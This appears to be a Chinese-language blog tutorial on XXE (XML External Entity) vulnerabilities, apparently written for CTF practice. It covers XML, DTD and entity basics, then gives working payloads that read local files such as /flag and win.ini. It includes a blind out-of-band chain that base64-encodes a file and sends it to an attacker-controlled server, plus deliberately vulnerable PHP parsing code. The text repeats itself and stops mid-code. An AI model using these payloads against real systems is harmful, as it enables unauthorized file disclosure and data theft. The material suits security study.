xxe


基础知识

这里参考大佬博客
https://blog.csdn.net/doubirui/article/details/137182142?spm=1001.2014.3001.5506

xxe

XXE(XML External Entity)漏洞是一种安全漏洞,出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作,如读取本地文件、发起远程网络请求或执行任意命令。

XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入,将外部实体(external entity)引用进来,然后利用这些实体来获取敏感信息或进行其他攻击。其中最常见的一种攻击是利用DTD(Document Type Definition)来读取本地文件,通过将file://协议和可访问的文件路径嵌入到XML中,攻击者可以读取服务器上的敏感文件内容

xml

1)基础概念

XML(可扩展标记语言)是一种用于表示和传输数据的标记语言。它设计用于具有自定义结构的文档和数据的描述,具有跨平台和跨语言的特性。

XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据,而非显示数据 XML 标签没有被预定义。您需要自行定义标签 XML 被设计为具有自我描述性 XML 是 W3C 的推荐标准
XML 是不作为的
XML具有以下特点:
可扩展性:XML允许用户自定义标签和数据结构,因此可以适应各种不同的应用领域和需求。
自我描述性:XML文档具有自我描述性,标签和属性可以提供关于数据的含义和结构的信息。
平台和语言无关性:由于XML采用纯文本格式,因此可以在任何操作系统和编程语言中解析和处理。
可读性:XML文档使用具有可读性的标记和缩进,易于理解和阅读。
XML常用于数据交换和存储,尤其在Web服务、配置文件、数据传输和文档的表示中广泛应用。它提供了一种通用且灵活的方式来组织和传输结构化数据。
2)组成

在 XML 中,元素(Element)、属性(Attribute)和实体(Entity)是构成 XML 文档的基本组成部分。它们的作用和特点如下:
元素(Element):
元素是 XML 文档中的基本组成单位,用于表示文档的结构和内容。
元素由开始标记、结束标记和内容组成。开始标记和结束标记之间的内容是元素的内容。
元素可以包含子元素,形成层次结构。
例如,在 之间的内容就是一个元素,表示一个书籍。
属性(Attribute):
属性用于提供有关元素的附加信息。
属性必须出现在元素的开始标记中,以键值对(key-value pair)的形式表示。
属性的值必须使用引号括起来,可以是单引号或双引号。
例如,在 中,isbn 是属性,123456789 是它的值。
实体(Entity):
实体用于表示 XML 文档中的特殊字符、常用文本片段或外部资源。
实体可以是内部实体(Internal Entity)或外部实体(External Entity)。

    内部实体使用文本直接定义,外部实体引用外部文件。

    例如,< 表示小于号 <,> 表示大于号 >,这些都是预定义的实体。

3)结构
XML使用标签来描述数据的结构和类型,将数据和标签包裹在起始标签和结束标签之间,形成一个层次结构。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--文档类型定义-->

<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<?xml version="1.0" encoding="ISO-8859-1"?>
<note> #根元素
<to>Dave</to> #接下来4行描述根的4个子元素(to,from,head以及body)
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note> #根元素结

在上面的示例中,是起始标签,是结束标签。、和body是子标签,它们包含了相应的数据。
4)语法规则

XML 被设计用来传输和存储数据。XML 文档行成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。 XML 允许创作者定义自己的标签和自己的文档结构。

所有的 XML 元素都必须有一个关闭标签

XML 标签对大小写敏感

XML 必须正确嵌套

XML 属性值必须加引号

实体引用

在 XML 中,空格会被保留

PCDATA 会被解析器解析的文本

PCDATA 是 XML 中的一个术语,表示“Parsed Character Data”(解析的字符数据)。在 XML 中,PCDATA 指的是文本节点中包含的可解析字符数据,即文本内容。PCDATA 可以包含普通的文本字符,但不能包含标签或实体引用。

举例来说,考虑以下 XML 片段

1
2
3
4
5
6
<book>
<title>XML Programming</title>
<author>John Doe</author>
<description>XML is a markup language used for encoding structured data.</description>
</book>

在这个例子中,、<author> 和 <description> 元素中的文本内容就是 PCDATA。例如,<title> 元素中的文本“XML Programming”以及 <description> 元素中的文本“XML is a markup language used for encoding structured data.” 都是 PCDATA</p> <h2 id="CDATA-不会被解析器解析的文本"><a href="#CDATA-不会被解析器解析的文本" class="headerlink" title="CDATA 不会被解析器解析的文本"></a>CDATA 不会被解析器解析的文本</h2><p>CDATA 是 XML 中的一个术语,表示“Character Data”(字符数据)。在 XML 中,CDATA 块是一种特殊的文本块,用于包含任意文本数据,包括标签和特殊字符,而不需要进行转义处理。</p> <p>CDATA 块以 <![CDATA[ 开始,以 ]]> 结束,其中包含的文本数据不会被 XML 解析器解析,而是被视为纯文本。这意味着在 CDATA 块中可以包含 XML 标签、实体引用等,而不会导致解析错误。</p> <p>举例来说,考虑以下 XML 片段</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><message></span><br><span class="line"> <![CDATA[<p>Hello, world!</p>]]></span><br><span class="line"></message></span><br></pre></td></tr></table></figure> <p>在这个例子中,<![CDATA[<p>Hello, world!</p>]]> 是一个 CDATA 块,其中包含了一个 <p> 标签和文本内容“Hello, world!”。由于这部分文本被包含在 CDATA 块中,因此不会被 XML 解析器解析为 XML 标签,而是作为纯文本输出</p> <h2 id="DTD"><a href="#DTD" class="headerlink" title="DTD"></a>DTD</h2><p>DTD(Document Type Definition,文档类型定义)是一种用于定义 XML 文档结构的规范。它定义了 XML 文档中元素、属性、实体等的合法结构,并且可以用于验证 XML 文档的有效性。<br>1)DTD的声明</p> <p>在 XML 中,DTD可以以内部声明(Internal DTD)或外部声明(External DTD)的形式存在。它们的区别在于 DTD 的定义是直接包含在 XML 文档中还是保存在单独的外部文件中。</p> <h3 id="内部声明:"><a href="#内部声明:" class="headerlink" title="内部声明:"></a>内部声明:</h3><pre><code>内部声明是直接在XML文档中定义的DTD。 DTD的声明位于XML文档的文档声明中,使用'<!DOCTYPE>'标记定义。 内部声明将DTD的定义与XML文档的内容结合在一起,因此DTD的定义直接出现在XML文档中。 内部声明的语法类似于以下实例: </code></pre> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素 [元素声明]></span><br><span class="line">​</span><br><span class="line">实例:</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE note [</span><br><span class="line"> <!ELEMENT note (to,from,heading,body)></span><br><span class="line"> <!ELEMENT to (#PCDATA)></span><br><span class="line"> <!ELEMENT from (#PCDATA)></span><br><span class="line"> <!ELEMENT heading (#PCDATA)></span><br><span class="line"> <!ELEMENT body (#PCDATA)></span><br><span class="line">]></span><br><span class="line"><note></span><br><span class="line"> <to>George</to></span><br><span class="line"> <from>John</from></span><br><span class="line"> <heading>Reminder</heading></span><br><span class="line"> <body>Don't forget the meeting!</body></span><br><span class="line"></note></span><br></pre></td></tr></table></figure> <h3 id="外部声明:"><a href="#外部声明:" class="headerlink" title="外部声明:"></a>外部声明:</h3><pre><code>外部声明将 DTD 的定义保存在单独的外部文件中。 在 XML 文档中使用 <!DOCTYPE> 声明来引用外部 DTD 文件,使用 SYSTEM 关键字指定 DTD 文件的位置。 外部声明使得 XML 文档与 DTD 的定义分离,可以在多个 XML 文档中共享和重用同一个 DTD 定义。 外部声明的语法类似于以下示例 </code></pre> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素 SYSTEM "文件名"></span><br><span class="line">​</span><br><span class="line">实例:</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE note SYSTEM "note.dtd"></span><br><span class="line"><note></span><br><span class="line"><to>George</to></span><br><span class="line"><from>John</from></span><br><span class="line"><heading>Reminder</heading></span><br><span class="line"><body>Don't forget the meeting!</body></span><br><span class="line"></note> </span><br><span class="line">note.dtd的内容为:</span><br><span class="line"><!ELEMENT note (to,from,heading,body)></span><br><span class="line"><!ELEMENT to (#PCDATA)></span><br><span class="line"><!ELEMENT from (#PCDATA)></span><br><span class="line"><!ELEMENT heading (#PCDATA)></span><br><span class="line"><!ELEMENT body (#PCDATA)></span><br></pre></td></tr></table></figure> <p>实体</p> <p>DTD实体</p> <pre><code>用于定义引用普通文本或特殊字符的快捷方式的变量 分为内部实体和外部实体 也可分为一般实体和参数实体 </code></pre> <p>1、内部实体:</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY eviltest "eviltest"></span><br><span class="line">​</span><br><span class="line">实例:</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE test [</span><br><span class="line"><!ENTITY writer "Bill Gates"></span><br><span class="line"><!ENTITY copyright "Copyright W3School.com.cn"></span><br><span class="line">]></span><br><span class="line">​</span><br><span class="line"><test>&writer;&copyright;</test></span><br></pre></td></tr></table></figure> <p>外部实例</p> <pre><code>从外部的 DTD文件中引用 对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人) </code></pre> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">实例:</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE test [</span><br><span class="line"><!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"></span><br><span class="line"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"></span><br><span class="line">]></span><br><span class="line"><author>&writer;&copyright;</author></span><br></pre></td></tr></table></figure> <p>一般实体:</p> <pre><code>引用实体的方式:&实体名 在DTD 中定义,在 XML 文档中引用 </code></pre> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">实例:</span><br><span class="line"><?xml version="1.0" encoding="utf-8"?> </span><br><span class="line"><!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> </span><br><span class="line"><updateProfile> </span><br><span class="line"> <firstname>Joe</firstname> </span><br><span class="line"> <lastname>&file;</lastname> </span><br><span class="line"> ... </span><br><span class="line"></updateProfile></span><br></pre></td></tr></table></figure> <p>参数实体:</p> <pre><code>引用实体的方式: % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 % 实体名引用 只有在 DTD 文件中,参数实体的声明才能引用其他实体 和通用实体一样,参数实体也可以外部引用 在 Blind XXE 中起到了至关重要的作用 </code></pre> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">实例:</span><br><span class="line"><!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> </span><br><span class="line"><!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> </span><br><span class="line">%an-element; %remote-dtd;</span><br></pre></td></tr></table></figure> <p>作用</p> <pre><code>通过 DTD,每一个 XML 文件均可携带一个有关其自身格 式的描述。 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来 交换数据。 应用程序也可使用某个标准的 DTD 来验证从外部接收到的 数据。 还可以使用 DTD 来验证自身的数据。 </code></pre> <h2 id="XXE漏洞的利用"><a href="#XXE漏洞的利用" class="headerlink" title="XXE漏洞的利用"></a>XXE漏洞的利用</h2><p>1)有回显读取文件</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">libxml_disable_entity_loader(false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line">$dom = new DOMDocument();</span><br><span class="line">$dom->loadXML($xmlfile, LIBXML_NOENT |</span><br><span class="line">LIBXML_DTDLOAD);</span><br><span class="line">$creds = simplexml_import_dom($dom);</span><br><span class="line">$ctfshow = $creds->ctfshow;</span><br><span class="line">echo $ctfshow;</span><br><span class="line">}</span><br><span class="line">?></span><br></pre></td></tr></table></figure> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">抓包发送</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE xml [</span><br><span class="line"><!ENTITY xxe SYSTEM "file:///flag"></span><br><span class="line">]></span><br><span class="line"><H3rmesk1t></span><br><span class="line"><ctfshow>&xxe;</ctfshow></span><br><span class="line"></H3rmesk1t></span><br></pre></td></tr></table></figure> <p>2)无回显读取文件(这个是重点)</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">libxml_disable_entity_loader(false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line">$dom = new DOMDocument();</span><br><span class="line">$dom->loadXML($xmlfile, LIBXML_NOENT |</span><br><span class="line">LIBXML_DTDLOAD);</span><br><span class="line">}</span><br><span class="line">?></span><br></pre></td></tr></table></figure> <p>无回显的文件读取,要进行外带</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">抓包发送</span><br><span class="line"><!DOCTYPE ANY[</span><br><span class="line"><!ENTITY % file SYSTEM</span><br><span class="line">"php://filter/read=convert.base64-</span><br><span class="line">encode/resource=/flag"></span><br><span class="line"><!ENTITY % remote SYSTEM "http://你的公网</span><br><span class="line">ip/xxe.xml"></span><br><span class="line">%remote;</span><br><span class="line">%send;</span><br><span class="line">]></span><br></pre></td></tr></table></figure> <p>在服务器放置xxe.php和xxe.xml两个文件</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">$content = $_GET['1'];</span><br><span class="line">if(isset($content)){</span><br><span class="line">file_put_contents('flag.txt','更新时</span><br><span class="line">间:'.date("Y-m-d H:i:s")."\n".$content);</span><br><span class="line">}else{</span><br><span class="line">echo 'no data input';</span><br><span class="line">}</span><br></pre></td></tr></table></figure> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY % all</span><br><span class="line">"<!ENTITY &#x25; send SYSTEM</span><br><span class="line">'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"</span><br><span class="line">></span><br><span class="line">%all;</span><br></pre></td></tr></table></figure> <h1 id="大纲"><a href="#大纲" class="headerlink" title="大纲"></a>大纲</h1><p>也即是对上面的内容进行一个小的总结,也就是你最少需要的内容</p> <h2 id="xxe是what"><a href="#xxe是what" class="headerlink" title="xxe是what"></a>xxe是what</h2><p>这里就不多讲了</p> <h2 id="xml-1"><a href="#xml-1" class="headerlink" title="xml"></a>xml</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><!--文档类型定义--></span><br><span class="line"><!DOCTYPE note [ <!--定义此文档时note类型的文档--></span><br><span class="line"><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--></span><br><span class="line"><!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型--></span><br><span class="line"><!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型--></span><br><span class="line"><!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型--></span><br><span class="line"><!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型--></span><br><span class="line">]]]></span><br><span class="line">​</span><br><span class="line"><!--文档元素--></span><br><span class="line"><?xml version="1.0" encoding="ISO-8859-1"?></span><br><span class="line"><note> #根元素</span><br><span class="line"> <to>Dave</to> #接下来4行描述根的4个子元素(to,from,head以及body)</span><br><span class="line"> <from>Tom</from></span><br><span class="line"> <head>Reminder</head></span><br><span class="line"> <body>You are a good man</body></span><br><span class="line"></note> #根元素结</span><br></pre></td></tr></table></figure> <p>这里需要我们知道,他的一个大概的结构,有一定的了解</p> <h2 id="PCDATA,会被解析器解析的文本"><a href="#PCDATA,会被解析器解析的文本" class="headerlink" title="PCDATA,会被解析器解析的文本"></a>PCDATA,会被解析器解析的文本</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><book></span><br><span class="line"> <title>XML Programming</title></span><br><span class="line"> <author>John Doe</author></span><br><span class="line"> <description>XML is a markup language used for encoding structured data.</description></span><br><span class="line"></book></span><br></pre></td></tr></table></figure> <p>在title,author,和description元素中的文本内容就是PCDATA</p> <h2 id="CDATA不会被解析器解析的文本"><a href="#CDATA不会被解析器解析的文本" class="headerlink" title="CDATA不会被解析器解析的文本"></a>CDATA不会被解析器解析的文本</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><message></span><br><span class="line"> <![CDATA[<p>Hello, world!</p>]]></span><br><span class="line"></message></span><br></pre></td></tr></table></figure> <p>这里就是里面有一个p标签,但是被CDATA标签包裹了之后就不会被渲染,而是作为纯文本输出</p> <h2 id="DTD-1"><a href="#DTD-1" class="headerlink" title="DTD"></a>DTD</h2><h3 id="1-DTD的声明"><a href="#1-DTD的声明" class="headerlink" title="1)DTD的声明"></a>1)DTD的声明</h3><p>分为内部和外部声明两种</p> <h4 id="内部声明"><a href="#内部声明" class="headerlink" title="内部声明"></a>内部声明</h4><p>这里注意使用’<!DOCTYPE>’标记定义</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素 [元素声明]></span><br><span class="line">​</span><br><span class="line">实例:</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE note [</span><br><span class="line"> <!ELEMENT note (to,from,heading,body)></span><br><span class="line"> <!ELEMENT to (#PCDATA)></span><br><span class="line"> <!ELEMENT from (#PCDATA)></span><br><span class="line"> <!ELEMENT heading (#PCDATA)></span><br><span class="line"> <!ELEMENT body (#PCDATA)></span><br><span class="line">]></span><br><span class="line"><note></span><br><span class="line"> <to>George</to></span><br><span class="line"> <from>John</from></span><br><span class="line"> <heading>Reminder</heading></span><br><span class="line"> <body>Don't forget the meeting!</body></span><br><span class="line"></note></span><br></pre></td></tr></table></figure> <p>大概知道长这样就行了</p> <h4 id="外部声明"><a href="#外部声明" class="headerlink" title="外部声明"></a>外部声明</h4><p>使用<!DOCTYPE>申明来引用外部DTD,使用SYSTEM关键字指定DTD文件的位置。这个就是区别</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素 SYSTEM "文件名"></span><br><span class="line">​</span><br><span class="line">实例:</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE note SYSTEM "note.dtd"></span><br><span class="line"><note></span><br><span class="line"><to>George</to></span><br><span class="line"><from>John</from></span><br><span class="line"><heading>Reminder</heading></span><br><span class="line"><body>Don't forget the meeting!</body></span><br><span class="line"></note> </span><br><span class="line">note.dtd的内容为:</span><br><span class="line"><!ELEMENT note (to,from,heading,body)></span><br><span class="line"><!ELEMENT to (#PCDATA)></span><br><span class="line"><!ELEMENT from (#PCDATA)></span><br><span class="line"><!ELEMENT heading (#PCDATA)></span><br><span class="line"><!ELEMENT body (#PCDATA)></span><br></pre></td></tr></table></figure> <h3 id="2)实体"><a href="#2)实体" class="headerlink" title="2)实体"></a>2)实体</h3><p>DTD实体</p> <h4 id="内部实体"><a href="#内部实体" class="headerlink" title="内部实体"></a>内部实体</h4><p>这里就是直接写你需要的内容</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY eviltest "eviltest"></span><br><span class="line">​</span><br><span class="line">实例:</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE test [</span><br><span class="line"><!ENTITY writer "Bill Gates"></span><br><span class="line"><!ENTITY copyright "Copyright W3School.com.cn"></span><br><span class="line">]></span><br><span class="line">​</span><br><span class="line"><test>&writer;&copyright;</test></span><br></pre></td></tr></table></figure> <h4 id="外部实体"><a href="#外部实体" class="headerlink" title="外部实体"></a>外部实体</h4><p>这里就是使用SYSTEM指出文件的地址</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">实例:</span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE test [</span><br><span class="line"><!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"></span><br><span class="line"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"></span><br><span class="line">]></span><br><span class="line"><author>&writer;&copyright;</author></span><br></pre></td></tr></table></figure> <h4 id="一般实体"><a href="#一般实体" class="headerlink" title="一般实体"></a>一般实体</h4><p>这里使用方法是&实体名<br>在DTD中定义,在XML文档中引用</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">实例:</span><br><span class="line"><?xml version="1.0" encoding="utf-8"?> </span><br><span class="line"><!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> </span><br><span class="line"><updateProfile> </span><br><span class="line"> <firstname>Joe</firstname> </span><br><span class="line"> <lastname>&file;</lastname> </span><br><span class="line"> ... </span><br><span class="line"></updateProfile></span><br></pre></td></tr></table></figure> <h4 id="参数实体"><a href="#参数实体" class="headerlink" title="参数实体"></a>参数实体</h4><p>这里就是%加上一个空格再加上实体名</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> </span><br><span class="line"><!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> </span><br><span class="line">%an-element; %remote-dtd;</span><br></pre></td></tr></table></figure> <h1 id="xxe漏洞的利用"><a href="#xxe漏洞的利用" class="headerlink" title="xxe漏洞的利用"></a>xxe漏洞的利用</h1><h2 id="有回显读取文件"><a href="#有回显读取文件" class="headerlink" title="有回显读取文件"></a>有回显读取文件</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">libxml_disable_entity_loader(false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line">$dom = new DOMDocument();</span><br><span class="line">$dom->loadXML($xmlfile, LIBXML_NOENT |</span><br><span class="line">LIBXML_DTDLOAD);</span><br><span class="line">$creds = simplexml_import_dom($dom);</span><br><span class="line">$ctfshow = $creds->ctfshow;</span><br><span class="line">echo $ctfshow;</span><br><span class="line">}</span><br><span class="line">?></span><br></pre></td></tr></table></figure> <p>这里主要就是,你看这个echo,就是有回显的</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><?xml version="1.0"?></span><br><span class="line"><!DOCTYPE xml [</span><br><span class="line"><!ENTITY xxe SYSTEM "file:///flag"></span><br><span class="line">]></span><br><span class="line"><H3rmesk1t></span><br><span class="line"><ctfshow>&xxe;</ctfshow></span><br><span class="line"></H3rmesk1t></span><br></pre></td></tr></table></figure> <h2 id="无回显读取文件"><a href="#无回显读取文件" class="headerlink" title="无回显读取文件"></a>无回显读取文件</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">libxml_disable_entity_loader(false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line">$dom = new DOMDocument();</span><br><span class="line">$dom->loadXML($xmlfile, LIBXML_NOENT |</span><br><span class="line">LIBXML_DTDLOAD);</span><br><span class="line">}</span><br><span class="line">?></span><br></pre></td></tr></table></figure> <p>无回显的文件读取,需要进行外带</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">抓包发送</span><br><span class="line"><!DOCTYPE ANY[</span><br><span class="line"><!ENTITY % file SYSTEM</span><br><span class="line">"php://filter/read=convert.base64-</span><br><span class="line">encode/resource=/flag"></span><br><span class="line"><!ENTITY % remote SYSTEM "http://你的公网</span><br><span class="line">ip/xxe.xml"></span><br><span class="line">%remote;</span><br><span class="line">%send;</span><br><span class="line">]></span><br></pre></td></tr></table></figure> <p>在服务器放置xxe.php和xxe.xml两个文件</p> <figure class="highlight plaintext"><table><tr><td 